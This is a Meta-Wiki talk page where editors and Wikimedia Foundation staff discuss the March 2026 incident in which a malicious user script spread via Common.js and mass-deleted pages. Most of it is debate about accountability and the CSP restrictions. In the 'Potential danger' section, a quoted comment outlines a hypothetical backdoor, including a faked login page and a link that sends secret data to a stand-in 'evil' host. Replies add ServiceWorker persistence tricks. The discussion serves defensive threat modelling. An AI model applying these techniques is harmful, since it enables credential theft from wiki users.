Talk:Wikimedia Foundation/Product and Technology/Product Safety and Integrity/March 2026 User Script Incident

Tracked in Phabricator:
Task T419154

Question

@EMill-WMF, why were you testing with a privileged account on the production wiki (loading random user-generated scripts), even though there are plenty of testing instances such as test.wikipedia.org, mw:Beta Cluster or mw:Patch demo. Why did the team overlook the risk that there might be malicious code somewhere? If the code were more malicious, we would be talking about completely different things here, so why is the team making superficial statements and not giving a fully honest explanation? Nemoralis (talk) 00:47, 6 March 2026 (UTC)

Nemoralis, are Eric Mill and Scott Bassett the same person? They don't sound alike. 🧐 — Alexis Jazz (talk or ping me) 01:37, 6 March 2026 (UTC)

I am talking about the team. Nemoralis (talk) 01:52, 6 March 2026 (UTC)

Nemoralis, ah, the plural "you". Got it. — Alexis Jazz (talk or ping me) 02:04, 6 March 2026 (UTC)

Randomly loading user JS is a terrible idea obviously. If you loaded mine, you'd probably start editing hundreds of wikis right away as you'd be loading Meta:GUS2Wiki/Script. Not strictly a problem, but probably not what you'd want. — Alexis Jazz (talk or ping me) 01:46, 6 March 2026 (UTC)

I doubt you're going to get more concrete answer than "human error" or "lapse in judgment", and I don't think it's productive to press on it as that's the one thing no security measure can prevent. It is curious, however, why the testing had to done be on a multilingual wiki with a privileged account (unless these too were accidental). Nardog (talk) 01:47, 6 March 2026 (UTC)

Agree with question. I'd like to see what disciplinary action was taken? Who was sent to RTFM? Who was fired? Who was denied bonuses? @EMill-WMF, further explanation is needed. Kaganer (talk) 11:56, 6 March 2026 (UTC)

The WMF has to comply with employee privacy laws, which prevent that kind of disclosure. (Also, the WMF doesn't do "bonuses".) WhatamIdoing (talk) 21:09, 6 March 2026 (UTC)

This is sarcastic sentence (yes, i know that sarcasm is nonconstructived).
But this statement contains not a hint of responsibility or a shred of apology to the community. It's infuriating. And sadly. Kaganer (talk) 00:18, 8 March 2026 (UTC)

They said that they caused the problem, which is admitting responsibility for it. They said that they are developing further security mitigations to make incidents of this kind much more difficult to happen in the future, which is taking responsibility for preventing future occurrences. That's more than "a hint of responsibility".

In a global movement like ours, there are always differing cultural expectations. In some cultures, there's an expectation of an emotional statement or begging for forgiveness. (See? He's crying! Now I can believe he is truly sorry.) In others, there's an expectation that an individual will be publicly shamed and punished. (Some cultures blame should be assigned to the manager, while others blame the employee.) However, I don't think that blame and shame are helpful here. I think that @Alexis Jazz is on the right track: like the aviation industry, safety is more likely to be the result when we learn lessons about systems instead of trying to blame individuals. Compare, e.g., the safety track record for Russian airlines (which is so poor that the EU bans many of them) with the safety track record for countries that have developed a safety culture within aviation investigations. WhatamIdoing (talk) 00:54, 8 March 2026 (UTC)

Russian airlines' safety records were poor in the 1990s. In recent years, from the mid-2000s until the 2022 ban on spare parts supplies, they were good, and no Russian airlines were banned from flying to Europe (while some Central Asian airlines were). MBH (talk) 07:31, 9 March 2026 (UTC)

The decision to ban Russian airlines was political and tied to the impact of justified sanctions following the Russian invasion of Ukraine, much like your current defence of a former colleague in the face of indefensible actions is entirely political now. stjn^[ru] 10:41, 9 March 2026 (UTC)

I don't know any of the people involved in this. Eric Mill has only been working for the WMF for a year. WhatamIdoing (talk) 19:21, 9 March 2026 (UTC)

Also can Agree with the question. This was a big security misconduction and I want to hear what is done or will be done to prevent this in the future. Красный^{wanna talk?} 13:15, 6 March 2026 (UTC)

In my experience, there are two basic ways to respond to an incident like this:

• punish the individual for unintentionally exposing a problem, or
• find out how any human could have made the same mistake, and try to fix that.

The first satisfies the human desire for revenge. The second one is better for our future. The first will prevent the second. WhatamIdoing (talk) 19:10, 6 March 2026 (UTC)

@WhatamIdoing I really don't understand how useful it would be exposing a "problem", when the "problem" is running scores of unverified scripts at the same time in a production server with admin privileges. We all know that if we jump from the top of a cliff without any proper gear, the most probable outcome would not be flying away. - Darwin ^Ahoy! 19:29, 6 March 2026 (UTC)

Is that actually the problem?

Or is the problem that MediaWiki doesn't have a way to suspend advanced privileges and only use them when the user specifically enables them? In VMS, sysadmins normally had only one user right (SETPRIV) enabled for everyday purposes. You kept all your privs turned off, and you only turned them on when/if you needed them for something specific. In Unix systems, there's sudo. What's MediaWiki's equivalent?

Or maybe the problem is that .js files haven't been reviewed for malicious code, and they should be. Didn't we have someone running a crypto mining script on one of the Wikipedias a few years back? That couldn't have happened if we checked all the .js files when they're uploaded.

Or maybe the problem is that our mass-deletion processes need an extra alert and a cancel button.

You have said the problem is jumping from the top of a cliff. I suggest: Maybe the problem is that the edge of the cliff has no fence. Maybe the problem is that the path leads to the edge of the cliff. Maybe the problem is the lack of an alarm system. Maybe the problem is not quite so simple as it looks at first glance. If we shame and punish the person who discovered this systemic weakness, maybe we won't actually find out how to prevent it, and in a few years, we'll be back here saying "What a bad person. Let's get rid of the person who discovered the systemic flaw, and pretend there's nothing wrong with the system" again. WhatamIdoing (talk) 19:45, 6 March 2026 (UTC)

I agree that systems should be designed to prevent a single mistake from causing widespread harm, but I think the “any human could make this mistake” framing misses an important point. This was not an inexperienced user operating in an unfamiliar system. It involved at least a senior member of the security team acting in a production environment with elevated privileges. In such a context, the expectation of minimal operational discipline and safeguards must necessarily be higher. Sure, building better guardrails is certainly important, but we should also acknowledge that incidents involving privileged access by experienced operators raise other kind of legitimate questions as well. Treating this incident simply as an inevitable “human error” risks normalising operational practices that are too permissive for systems of this sensitivity like the target of this incident, which is, in itself, quite a significant risk.- Darwin ^Ahoy! 20:41, 6 March 2026 (UTC)

Yes, one should have a higher standard for people who should know better. But I suggest to you that this shouldn't have been easy to do, even for people who should know better, even if they're in a rush, tired, distracted, etc. This is a human mistake; we need a resolution that accounts for the fact that humans make mistakes, even when they "should" know better. WhatamIdoing (talk) 20:54, 6 March 2026 (UTC)

DarwIn, we should learn from the aviation industry. There, policy is specifically not to blame individuals, unless there's actual malice or knowingly flaunting rules. On phab:T419187 I said that if Bassett didn't know this was a bad idea, the WMF needs to provide better guidance/education for WMF staff with elevated permissions. If Basset did know but proceeded due to lack of sleep/stress/intoxication/other mental state issues, the WMF needs to investigate how this could happen. If their employees are overworked, can't afford health insurance, or feel like it's not safe for them to open up about things that affect their mental state with their employer, this would be an HR issue. Whether such an issue is at play I can not possibly know, but if it is, the WMF needs to address it. — Alexis Jazz (talk or ping me) 21:47, 6 March 2026 (UTC)

I strongly agree that we should follow the approach typical in the aviation industry and other industries where safety culture and its approach to systemic prevention. WhatamIdoing (talk) 22:28, 6 March 2026 (UTC)

This not a mistake. This is incompetence. Kaganer (talk) 23:28, 7 March 2026 (UTC)

mistake, noun: 1. a wrong judgment. 2. something that is not correct : a wrong action or statement proceeding from faulty judgment, inadequate knowledge, or inattention. [1]

That sounds about right to me. WhatamIdoing (talk) 23:50, 7 March 2026 (UTC)

OK. This is the kind of mistakes that in my world is characterized as "incompetence".
You'd expect this from a junior, and in that case, it's the incompetence of his superior. But in the case of a "senior security engineer," it's precisely his incompetence (though that doesn't negate the incompetence of his superiors).

This case seems like an obvious consequence of the fact that loyalty to one's superiors is now valued more highly at the Foundation than professional competence. Kaganer (talk) 00:10, 8 March 2026 (UTC)

I have no reason to believe that loyalty to one's superiors is now valued more highly at the Foundation than professional competence. If you do, then perhaps you should be taking that up through a more private communication channel with the Board member of your choice. WhatamIdoing (talk) 00:38, 8 March 2026 (UTC)

Of cource. Kaganer (talk) 15:42, 9 March 2026 (UTC)

Some wiki communities blacklisted archive.today because it added malicious code to its website: archive.today incident. I wonder what would happen if they found out that a WMF Staff Security Engineer had run malicious code under his own privileged account. And @EMill-WMF answered questions in almost all sections except this one. Nemoralis (talk) 16:45, 8 March 2026 (UTC)

@Nemoralis The statement on this page, along with everything else we/I have said on-wiki and to the press, describes the situation.

The community discussion here in response to your answer also does a pretty good job of describing how to effectively manage safety risk when human error is involved. EMill-WMF (talk) 17:12, 8 March 2026 (UTC)

@EMill-WMF, thank you for the response. However, my original question was about the specific operational decisions that led to this incident. Your statement explains that you "inadvertently activated dormant code that was then quickly identified to be malicious," but you still didn't give a detailed answer about why you used a production wiki instead of a sandboxed test environment. In the archive.today discussion, you (or WMF) emphasized the importance of protecting users from malicious code executed in their browsers. Given that context, it would be helpful to understand the reasoning behind performing this kind of testing on a production wiki.

Your first sentence here sounded a bit like a far-fetched answer to me. I'm afraid that if I don't get answers to my main questions, I'll interpret it as "avoiding responsibility by not answering." Nemoralis (talk) 17:40, 8 March 2026 (UTC)

@Nemoralis, at least from a grammatical perspective, you haven't asked any questions here. If your intended question is "How would the French Wikipedia and others react, if they found out what happened?", then the answer is "Exactly what's happening now, because they have already found out what happened" (sample discussion). WhatamIdoing (talk) 17:52, 8 March 2026 (UTC)

I am talking about these: #c-Nemoralis-20260306004700-Question. Nemoralis (talk) 17:54, 8 March 2026 (UTC)

Ah, so your list of questions is:

1. Why did he use a privileged account?
2. Why did he test on the production wiki?
3. Why did the team overlook the risk?
4. Why is the team making superficial statements?

Here's my guess at the answers:

1. Because that's his ordinary account, and it's normal use your ordinary account. See also everything that people have been saying about human factors and safety culture.
2. Not everything can be validly tested on a test wiki.
3. An invalid question: You assume without evidence that the team talked about this.
4. w:en:WP:BEANS.

WhatamIdoing (talk) 19:04, 8 March 2026 (UTC)

Please let Eric answer the questions. Creating an additional account for testing is not that difficult and as far as I know (which Eric didn't explain either) the test was done to check API limits or CSP. All of this could have been done in a test environment. Beta Cluster is a production-like environment created for such purposes. Nemoralis (talk) 04:18, 9 March 2026 (UTC)

Don’t know who started speculating that they were testing API limits, that’s wrong as far as I know. They were conducting a security review of user scripts, just like they said in their statement. Some scripts cannot be tested properly outside of production wikis. Yes they shouldn’t have used an account with staff permissions, I‘m sure that will be part of the incident analysis. Your questions are the kind of questions typically answered after such an analysis is done. Johannnes89 (talk) 06:27, 9 March 2026 (UTC)

See on this page, it was me, as one of the possibilities, and it was already estabilished as the wrong one. Thank you for clarifying that it couldn't be performed on Beta Cluster. Are we allowed to know if such a security review could be done on testwiki instead? It is a part of Mediawiki CentralAuth wikifarm. IKhitron (talk) 09:12, 9 March 2026 (UTC)

They were conducting a review of the impact of CSP on the user scripts in an astonishingly ill-conceived way. After that backfired, they went ahead with fast-tracking CSP anyway. I think the team that thought that this testing exercise was in any way good to do should've probably taken some time to reflect on their personal failures instead of pushing half-baked features and tying enabling user scripts back on to them. stjn^[ru] 10:47, 9 March 2026 (UTC)

@EMill-WMF, first of all, thank you for disrespecting me and not informing me about the post-incident FAQ, I probably wouldn't have known about it if I hadn't accidentally come back to this page. The FAQ tells us what we know, but doesn't explain why those things happened. I expect and demand that a WMF team be transparent with the Wikimedia community, this is very embarrassing.

Anyway, at least the community got the apology it deserved. Nemoralis (talk) 15:42, 15 April 2026 (UTC)

Meta or Wikipedia?

There seems to be a conflict between "security review of user-authored code on Wikipedia" and "page deletions on Meta-Wiki". Those are different sites. How does one cause the other? Some clarification would be helpful. Where did the testing happen, exactly? Which Wikimedia (not just Wikipedia) sites were directly affected?

There are other, more obvious questions related to why testing was happening on a production site (if it was), but those seem like human-factors questions to be addressed with process rather than technology. We all make mistakes. Jonesey95 (talk) 02:54, 6 March 2026 (UTC)

It's sloppy, this certainly is not limited to encyclopedia projects. — xaosflux ^Talk 03:03, 6 March 2026 (UTC)

Didn't the WMF try to do a big rebrand a couple of years ago because everyone confuses "Wikimedia" and "Wikipedia"? I would think that the WMF staff would be especially careful to use precise terminology. I look forward to clarification. Jonesey95 (talk) 03:07, 6 March 2026 (UTC)

The code was from Russian Wikipedia, but it was copied to somewhere else and in the end it was the meta wiki that was affected concerning page deletions, but in the end all projects concerning read-only. Der-Wir-Ing ("DWI") talk 03:12, 6 March 2026 (UTC)

They were testing code on Russian Wikipedia on Meta-Wiki. Nardog (talk) 03:17, 6 March 2026 (UTC)

Apologies for not being precise here - I've edited it from "Wikipedia" to "Wikimedia projects". During the incident response, we were writing for both a general press audience (example of our statement), where we often use "Wikipedia" as shorthand, as well as a community audience. When adapting this message, the casual Wikipedia reference was left in. Thanks for catching it. EMill-WMF (talk) 14:38, 6 March 2026 (UTC)

In the spirit of community governance, please ask the people who write for a general press audience to stop doing that. And thanks for fixing the page. Jonesey95 (talk) 14:45, 6 March 2026 (UTC)

Explanation Request

Can someone explain the whole scenario in lay man terms instead of using technical terminologies? Fulani215 (talk) 09:59, 6 March 2026 (UTC)

Basically, one WMF staff member tried to do some test on Meta involving user-scripts, but among them was one imported from ruwiki that was malicious. When this malicious user-script was executed by the staff on Meta, it started deleting pages en masse and duplicated itself on Meta’s MediaWiki:Common.js, which is a script that is executed on every page for every user. This in turn compromised any user that was browsing Meta at that moment and their accounts started to automatically delete and vandalise pages too. The quickest and easiest solution to stop the destruction of pages and stop the malicious script from spreading to other users and wikis was to temporarily disable page editing, user-scripts, and gadgets on all wikis. The deleted/vandalised pages have been restored and the script has been neutralized according to the message. Hope it helps :) Danÿa (talk) 10:31, 6 March 2026 (UTC)

@Danÿa thank you. This is helpful! Atibrarian (talk) 10:43, 6 March 2026 (UTC)

Yes, that - @Danÿa did a good job summarizing it. This began as a mistake on our part (running that code in a privileged context), and we are sorry about the disruption. Though, it was only possible because of real malicious code that was sitting there in the system, and there have been other less public examples of malicious user scripts in the past.

Because of the risks of malicious user scripts like this, we (WMF's safety/security team) have had an ongoing project to figure out how to rein in the risk of malicious scripts. Auditing script behavior was a part of that, and created the context in which this incident occurred. EMill-WMF (talk) 14:44, 6 March 2026 (UTC)

There were also about 8,006 vandalized pages where was added some wikicode with a non-existing (on Meta or Commons, but it was real at 2023 outside Wikimedia wikis) image, and some more nonsence. IKhitron (talk) 16:41, 6 March 2026 (UTC)

Userscripts re-enabled with temporary restrictions

Tracked in Phabricator:
Task T419215

There are still some issues with userscripts relying on external (i.e. non-Wikimedia) data; the case of VIAF is particularly impacting on Wikidata; cf. phab:T419215. I haven't found a public Phabricator ticket documenting in general the temporary restrictions applied to userscripts, but it is highly probable this issue is caused by them. Epìdosis 10:48, 6 March 2026 (UTC)

There are 2 current changes: one was disallowing external domains from being connected to (CSP policy), and another was requiring re-login for any changes to site-wide JS. Personally it is questionable to me that these changes should've come in an emergency manner from a WMF employee repeatedly sticking forks into random electrical sockets but what can you do. stjn^[ru] 12:09, 6 March 2026 (UTC)

We didn't include the specific restrictions in the front of the Meta post because they were both fairly technical, and also may still change. But yes, there are two of them:

• Requiring re-authentication for changes to site-wide JS. Right now, that is a fairly clunky approach that requires a full re-login. We will devote development resources to streamline that.
• We disallowed many external domains from being connected to via CSP. But we also allowed many, so as not to disrupt current user activity, based on an analysis we had been doing around the use of existing user scripts. Prior to this change, all third-party domains were allowed.

We had actually planned to publicly discuss and roll out this CSP policy over the next couple weeks anyway -- which clearly would have been more ideal for both the community and WMF -- but we have published it now, and are monitoring for any reports of breakage that we should help fix. EMill-WMF (talk) 16:36, 6 March 2026 (UTC)

I don't understand what running code from external sites has to do with WMF employees (from the security team, no less) blindly running literally thousands of random unreviewed scripts from accounts they don't know. Hosting all of the code on-wiki won't prevent scripts from being able to modify or delete pages. The WMF needs to stop giving advanced privileges to staff who aren't security conscious enough to know they shouldn't run code without knowing what it does. To me it seems like you're using this as an excuse to force CSP on us after we said we don't want it.

Some of the scripts I rely on are now broken, thanks a lot. If the CSP thing doesn't get reverted, then I don't see how I can continue to be a Wikimedia editor.

- Nikki (talk) 18:37, 7 March 2026 (UTC)

Please do open phab tickets for broken scripts. We re-enabled a few domains yesterday that scripts were relying on. We can't promise we'll allow everything, but our goal here was to generally not break existing scripts at the time this policy went up. EMill-WMF (talk) 19:39, 7 March 2026 (UTC)

In case it's helpful for anyone wanting to file a task but e.g. not familiar with Phabricator, hopefully these partially-prefilled forms might help as a starting point (and hopefully WMF folks [cc @EMill-WMF] are okay with how I've put them together, and are okay with tasks being filed in the ways I've described!):

• form that can (hopefully) be used for requesting that specific domains be allowed (where it's known what those specific domains are)
• form that can (hopefully) be used for reporting broken userscripts (where it's not known what the specific domains being used are)

Best, ‍—‍a smart kitten_[meow] 16:17, 8 March 2026 (UTC) [phabricator form links edited slightly 16:27, 9 March 2026 (UTC)]

If you want to use external websites (with their separate, and usually worse, privacy policies), you might need to switch to off-wiki/browser scripts, such as Greasemonkey. WhatamIdoing (talk) 19:47, 7 March 2026 (UTC)

You know plenty of people host scripts on their own websites, right? Good luck getting Greasemonkey installed on a public computer. Northern Moonlight (talk) 16:52, 2 April 2026 (UTC)

You've made me wonder how many experienced editors use a public computer as their main way to edit Wikipedia these days. There are no longer any internet cafés in my area (I'm in California). My public library still has a few computers (with a time limit of one hour per day), but fewer than they used to, and most people bring a laptop instead of using the public computers. Maybe we should stop making decisions with internet cafés/public computers in mind. WhatamIdoing (talk) 18:03, 2 April 2026 (UTC)

Should we stop making decisions with Chrome for Android in mind then? Northern Moonlight (talk) 02:10, 4 April 2026 (UTC)

Do you know any editor who has had this problem? WhatamIdoing (talk) 03:00, 4 April 2026 (UTC)

Re. personal information

Re (quoting from the statement):

We have no reason to believe [...] that personal information was breached as part of this incident.

I raised this on IRC yesterday (in #wikimedia-tech^connect); but, from looking at the Wayback Machine's archive of the ruwiki userscript that got activated (not linked from here in case my comment'd get oversighted), it seems like it may have resulted in users' browsers making calls to non-Wikimedia websites (including e.g. ajax.googleapis.com, cyclowiki.org); which could in turn be considered a leak of Wikimedia end-users' IP addresses/User-Agents/etc. to third-party sites which they didn't consent to them being shared with (and who may then e.g. use the information gained for tracking).

@EMill-WMF raised the point (in IRC) that they (ie., the WMF) judged the calls to ajax.googleapis.com to be very low severity (especially considering how likely it is that users would have connected to that site at some point in ordinary internet usage), which I suppose on its face sounds like a reasonable-enough judgement for the WMF to make regarding that specific site. (I haven't yet seen a WMF response about this issue regarding the calls to e.g. cyclowiki.org; although in fairness, in my initial IRC message, I did only give the example of ajax.googleapis.com.)

I'm just noting this here for the record if nothing else; given that the current version of this statement seems like it's worded quite categorically with regards to personal information (We have no reason to believe [...] personal information was breached, my emphasis), when it seems (to me) like the reality of this part of the situation might not be quite so clear-cut.

Best, ‍—‍a smart kitten_[meow] 14:36, 6 March 2026 (UTC)

@A smart kitten: what is tops.net.ua and was it called? — Alexis Jazz (talk or ping me) 21:27, 6 March 2026 (UTC)

@Alexis Jazz I'm afraid I don't understand the question - what is tops.net.ua? FWICS I haven't referenced that domain above, so I'm slightly confused 😄 ‍—‍a smart kitten_[meow] 21:34, 6 March 2026 (UTC)

It's in test.js, unless my copy is bad. (my copy is from w:archive.today so it could be, archive.org purged Ololoshka562's test.js so I couldn't get it there) — Alexis Jazz (talk or ping me) 23:00, 6 March 2026 (UTC)

@Alexis Jazz Ah yep, I see it now, ty for the pointer. URL-decoding the string that it's contained within, it seems like the tops.net.ua URL might just be referenced in a JavaScript docblock/comment, rather than being called by the JS itself. (However, I haven't attempted to forensically examine the code in test.js, so I could be missing something here.) Best, ‍—‍a smart kitten_[meow] 23:10, 6 March 2026 (UTC)

@A smart kitten To follow up - we just posted a post-incident FAQ (along with general project details about our work securing user-managed code). As part of that, we describe the operation of the worm in a bit more detail, including the domains it did and didn't connect to and what kind of information that would have transmitted.

We consider the connections and information transfer involved in this specific script to be low-severity (and not to the level that we would call a breach), especially given the the URLs/domains in question and their incidental passive participation in the operation of the script. As we note on the FAQ, there was a domain the script attempted to connect to, which may have been operated by the original script author and may at one point have been poised for active participation, but fortunately, the domain was unregistered and inactive during the time the worm was active.

Thanks for your patience and for following up on this. EMill-WMF (talk) 01:38, 26 March 2026 (UTC)

Thank you for this, @EMill-WMF. It answered on almost all the question I had, including those I asked here and didn't get an answer. Almost means except one, and I hope I can get an answer, if it is not a secret information, please. The question is about rights dispersion. Meaning, how much of these 97 accounts have page deleting rights on Meta and how much of them have editing MediaWiki:Common.js rights on Meta. Thank you in advance. IKhitron (talk) 10:29, 26 March 2026 (UTC)

Thanks, @EMill-WMF.

I just have one question from reading the linked FAQ: At least by my reading of its wording (which, admittedly, might differ from other folks' readings of it), it currently seems to say/suggest that only 97 users had their browser briefly connect to two third-party services. However, given that (IIUC, from looking at the code from test.js again just now) calls to these sites were made from JavaScript added to MediaWiki:Common.js, is this definitely the case (as it would seem to imply that there were only ~97 unique visitors to metawiki during the 23 minutes that this code was apparently active, which seems very low)? [Is this just a matter of ambiguous wording on the FAQ page?]

(Actually, I suppose I might therefore have a second, slightly-related, question -- when the FAQs say that 97 users were infected, what is it referring to? E.g., does that term refer to anyone who had the JS execute on their computer (whether logged-in or not) / anyone that had code added to their own common.js file / something else?)

Best, ‍—‍a smart kitten_[meow] 16:28, 26 March 2026 (UTC)

"(as it would seem to imply that there were only ~97 unique visitors to metawiki during the 23 minutes that this code was apparently active, which seems very low)" -- since commenting that, I started to question my initial impression of this necessarily seeming very low, so I looked at metawiki's total recorded number of pageviews on 2026-03-05: 394,506. Rounding down to 300,000 (in case e.g. that number would've been exaggerated by the worm itself, etc.), that works out to around ~208 average pageviews per minute, or around ~4,784 average pageviews per 23 minutes. (Obviously that isn't the number of unique pageviews, but I'm not currently aware of published data on unique view-counts, so I'm kinda using this data as a rough proxy to inform my thinking.) Best, ‍—‍a smart kitten_[meow] 17:29, 26 March 2026 (UTC)

-- wait, it turns out that there is some published data on unique devices . IIUC, Wikistats says that there were 231,042 visits to metawiki from unique devices on 2026-03-05. Rounding down to 200,000 (to e.g. account for people that might've been using safemode, etc.), that works out to around ~138 average unique-devices/minute, or around ~3,194 average unique-devices/23 minutes. ‍—‍a smart kitten_[meow] 14:04, 29 March 2026 (UTC)

About a security framework.

This incident point out that all the userscript must go through some kind of security testing periodically. Wikimedia Tech team must develop a security testing framework (Not in Production wiki) for all the userscript. Some kind of security scanning framework for user scripts in the wiki. So that we can identify potential threat in javascript. This will also help to find the payloads and all. World geopolitics, Hacker groups kind of people can do the payloading and show somekind of messages in all wiki is a crazy security leak.

Global rights people must undergo (Especially those who have rights to edit MediaWiki:Common.js) security screening periodically.

One more thing we can think of is create a special usergroup that they can only enable and run javascript. And people who getting this rights must be in the scan of the security framework. This is a restrictive idea but we need to think of this. This may help us to prevent javascript attacks in future. I don't know any kind of css virus or payload as of now. But that is also in question. Ranjithsiji (talk) 18:01, 6 March 2026 (UTC)

Security review of user-authored code

The page says the reason or the task that triggered the issue was: Wikimedia Foundation staff were conducting a security review of user-authored code across Wikimedia projects. During that review, we inadvertently activated dormant code that was then quickly identified to be malicious. Someone suggested the idea was to test global api limits. Since there's a CSP Header that report CSP violations, this seems plausible. Reviewing user-authored code by loading it under a privileged account without understanding what it does, seems like a terrible idea. This is why I think the reason described here about conducting a security review of code is not what was being done. I'd like a confirmation if that was the real intention. Ciencia Al Poder (talk) 12:23, 7 March 2026 (UTC)

Did you try asking the volunteer editor why they were speculating that this could have been related to global API limits"? WhatamIdoing (talk) 15:44, 7 March 2026 (UTC)

This isn't my assumption, this opinion was expressed by hewiki admin and ruwiki intadmin @IKhitron in ruwiki's Discord chat. MBH (talk) 07:07, 8 March 2026 (UTC)

Yes, this was definitely one of the many possibilities, that looked reasonable, just because it was happening exactly in the same day. Actually, I can even explain why it was my thought, from all things. It's because this was the only thing in my mind in the last week, it can kill a Mediawiki extension I'm taking care of, after many years of its work. So obviously it was my first thought. IKhitron (talk) 07:52, 8 March 2026 (UTC)

I think its safe to say that "testing global api" limits was not the reason. That doesn't make sense on its face.

My understanding was that it was an attempt to test how CSP interacted with a variety of user scripts. Bawolff (talk) 18:01, 7 March 2026 (UTC)

I'm just curious, are we going to get an official reason for the tests? IKhitron (talk) 07:53, 8 March 2026 (UTC)

According to this page, the official reason for the tests was "a security review of user-authored code across Wikimedia projects". WhatamIdoing (talk) 18:55, 8 March 2026 (UTC)

Exactly. It is very vague. Maybe the answer is a security secret, and can't be given, don't know. But this is not an answer enough. IKhitron (talk) 19:01, 8 March 2026 (UTC)

If the answer is a security secret and can't be given, then this is answer enough. It might not be answer enough to please a small number of people.

The people on this talk page are much more technical than average. (Consider: 250,000 registered accounts will make an edit this month on the wikis. But less than 0.01% of us are asking questions about this here.) Most people don't care at all; having Wikipedia in read-mode for a bit happens sometimes. Those who are aware that it was a security breach just want to know whether it was an external attack. There is, after all, a big difference between "Oops, I clicked the wrong thing and broke the wikis. Sorry!" and an w:advanced persistent threat. About one in 10,000 users are pounding on the table to know exactly how anyone could possibly make this huge mistake, and that response is not really helpful. WhatamIdoing (talk) 19:14, 8 March 2026 (UTC)

If the answer is a security secret and can't be given, then this is answer enough. It might not be answer enough to please a small number of people
Exactly. If we will be told "we can't say more", it's absolutely fine.

to know exactly how anyone could possibly make this huge mistake
This is definitely not what I've asked. I completely understand how this mistake can be made. I myself for sure able to do something like this today. I did something like this in a much smaller scale 13 years ago, on my first day as a sysop. So, I didn't ask how is it possible from the human side, I tried to realize what was the original goal from the technical side. IKhitron (talk) 20:11, 8 March 2026 (UTC)

"We can't say more" is an admission that there is "more" that could be said. WhatamIdoing (talk) 20:33, 8 March 2026 (UTC)

In any case there is more, for sure, and we already know this, because the current version does not explain anything. The difference is between a) we don't say what is this more from security reasons, b) we don't say what is this more from X reason, and X is ..., or c) we're going to say what is this more. For example "we made a security review to check how something we can't say what is working now with multiple number of scripts" vs "we made a security review how something we can't say what we're going to change will work with multiple number of scripts" is much more detailed from the how it is now, even without telling what is this something at all. I don't say any of these two is true, or both of them, I don't know. IKhitron (talk) 20:41, 8 March 2026 (UTC)

This is getting tin foil hatty. In context it appears that the reason for this vauge statement is its a PR statement meant for non technical audiences. Going in precise technical detail is counterproductive. Bawolff (talk) 21:07, 8 March 2026 (UTC)

This answer explains much more. Great, thank you. (And no, I'm not ironic, in the case you thought this, I'm completely serious, and I could get enough from this answer to know what I wanted to.) IKhitron (talk) 21:23, 8 March 2026 (UTC)

What do you suggest for small user scripts?

There are hundreds of ordinary user scripts (without millions of users) which are not a good fit for global CSP rule. What exactly do you suggest should be done with them? Rewriting all of them as an off-site script (tampermonkey), is obviously a bad idea. Especially because the only reason for this CSP addition is that security staff effectively did their testing in production, which is profoundly incompetent. Дима74 (talk) 01:22, 8 March 2026 (UTC)

Example? Small scripts usually don't involve requests to external servers. Nardog (talk) 06:28, 8 March 2026 (UTC)

https://ru.wikipedia.org/wiki/Участник:Дима74/Скрипт-Ёфикатор Дима74 (talk) 13:48, 8 March 2026 (UTC)

Where does it send requests and for what? Nardog (talk) 14:26, 8 March 2026 (UTC)

@Дима74 Just in case you're not aware, it's been commented above that folks can file Phab tasks about user-scripts that have stopped working as a result of the change. Best, ‍—‍a smart kitten_[meow] 20:21, 8 March 2026 (UTC)

Potential danger of this event

@Lockal wrote on ruwiki's Village Pump that such script could potentially cause much more damage. We were only saved by the fact that Ololoshka's script was engaged in childish vandalism (such scripts are called "woodpecker" in Russian-language community, because they "hollow out" a project) and was not a sophisticated weapon.Here's a machine translation:

A targeted backdoor wouldn't be designed to fire Special:Nuke directly. This particular woodpecker was stopped because it was, well, just a woodpecker. But how much of what sbassett imported wasn't a woodpecker, but a targeted backdoor? And how much time would it have taken if this script hadn't edited, but rather redisplayed the GUI, simulating a logged-out account, and the Special:UserLogin form had been slightly modified to send data to the attacker's server? Oh yeah, you have 2FA—and you think you're protected—but that 30-second code wasn't intended for you, but for the attacker's session, and you were actually logged in the entire time. The script was intended solely for you (and the body of this script can be hidden in LocalStorage, given exclusively to checkers/bureaucrats, geographically targeted, etc.). And such a script won't be detected by any systems, since it's not XSS, but a standard MediaWiki customization mechanism. CSP (which doesn't exist) is also no panacea; to bypass the 'self' form-action, simply open the link <a href="https://evil?your_secret_data"> + redirect back + check the box to disable playback (good luck noticing that you were on the attacker's domain for a split second).
Yes, another interesting point for the paranoid: a malicious script can register ServiceWorker and continue to run even after mw.loader.load is deleted (including after a Hard Reload), even after the user logs out. The script can snatch credentials when the user actually logs in (thereby disguising the email "Logging in to Wikipedia as ... from a device you haven't used recently," since this email doesn't even contain an IP address). Judging by [1], SBassett imported about 800 scripts from all sections. Some of them likely imported other scripts in the chain. For some reason, the edit history was deleted, so an audit of the imported files is now impossible.
MBH (talk) 07:19, 8 March 2026 (UTC)

see that same comment on Phab (by Lockal himself) + original message in Russian Shabe (talk) 15:36, 8 March 2026 (UTC)

User scripts don't run on security sensitive pages such as Special:UserLogin and Special:Preferences. Those pages are permanently in safe mode. Would that stop the attack scenario that you are describing, or am I misunderstanding something? –Novem Linguae (talk) 18:42, 10 March 2026 (UTC)

Login and preferences being in safemode doesn't stop user scripts from faking the science and using javascript and a bit of HTML editing from displaying a fake login page though. If one then doesn't check the URL bar... Also, I don't know if ServiceWorkers work for cross-domain requests. If they do, well, oof. Since the login page does load a few resource loader modules (just no user-customizable ones), all it takes that case is a well-aimed ServiceWorker registration combined with intercepting requests via ServiceWorkerGlobalScope.onfetch for things to end in a major disaster. And I checked, the current CSP does allow loading resources from data:, so there isn't anything stopping someone from registering a serviceWorker from doing so, should someone ever gain write access to MediaWiki:common.js again in that case. Victor Schmidt (talk) 17:16, 11 March 2026 (UTC)

It's not possible to register a service worker from a different origin, or from a Blob or data URI. See StackOverflow and the relevant part of the Standard. That said, the worker can just be a one-line stub with an importScripts() call. However, importScripts() is still subject to CSP headers.

That doesn't mean service workers aren't dangerous. They can intercept and rewrite even "safe mode" pages. But as one being registered there will be a request from the affected user with a Service-Worker header set. If the WMF wants to stop SWs they can block any requests with that header. One the one hand, I think this is an obviously good idea. On the other, I have one script that depends on a SW that I selfishly want to keep using. Suffusion of Yellow (talk) 03:23, 12 March 2026 (UTC)

I don't know anything about service workers. But sounds like this is a still-live potential vulnerability. Might be worth a Phab security ticket with you, me, and Victor Schmidt subscribed to it to put it on the PSI team's radar. –Novem Linguae (talk) 01:46, 14 March 2026 (UTC)

(Regarding a security Phab ticket vs. a public task — I mean, we're discussing this in public here. The cat might already be out of the bag if there is any vulnerability that's been disclosed on this page :p) ‍—‍a smart kitten_[meow] 11:25, 14 March 2026 (UTC)

